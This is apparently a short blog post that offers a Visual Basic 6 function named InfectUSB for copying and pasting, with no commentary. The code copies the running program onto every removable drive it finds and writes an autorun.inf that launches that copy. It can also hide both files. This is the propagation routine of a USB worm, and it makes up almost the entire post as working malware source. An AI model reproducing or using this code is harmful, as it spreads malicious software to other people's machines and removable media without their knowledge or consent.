Private Function InfectUSB(FileName As String, Hide As Boolean) As Long
On Error Resume Next
Dim szBuffer As String * 128
Dim Drive As Variant
Dim Drives() As String
hGet = GetLogicalDriveStrings(Len(szBuffer), szBuffer)
If hGet <> 0 Then
Drives = Split(szBuffer, Chr(0))
For Each Drive In Drives
If GetDriveType(Drive) = DRIVE_REMOVABLE Then
If CopyToFile(GettFilename, Drive & FileName) = True Then
If WriteToFile(Drive & "autorun.inf", _
"[autorun]" & vbCrLf & "open=" & Drive & FileName) = True Then
If Hide = True Then
SetFileAttributes Drive & "autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes Drive & FileName, FILE_ATTRIBUTE_HIDDEN
End If
InfectUSB = InfectUSB + 1
End If
End If
End If
Next Drive
End If
End Function
Infect to USB Drives vb6 code
code:
0 comments:
Post a Comment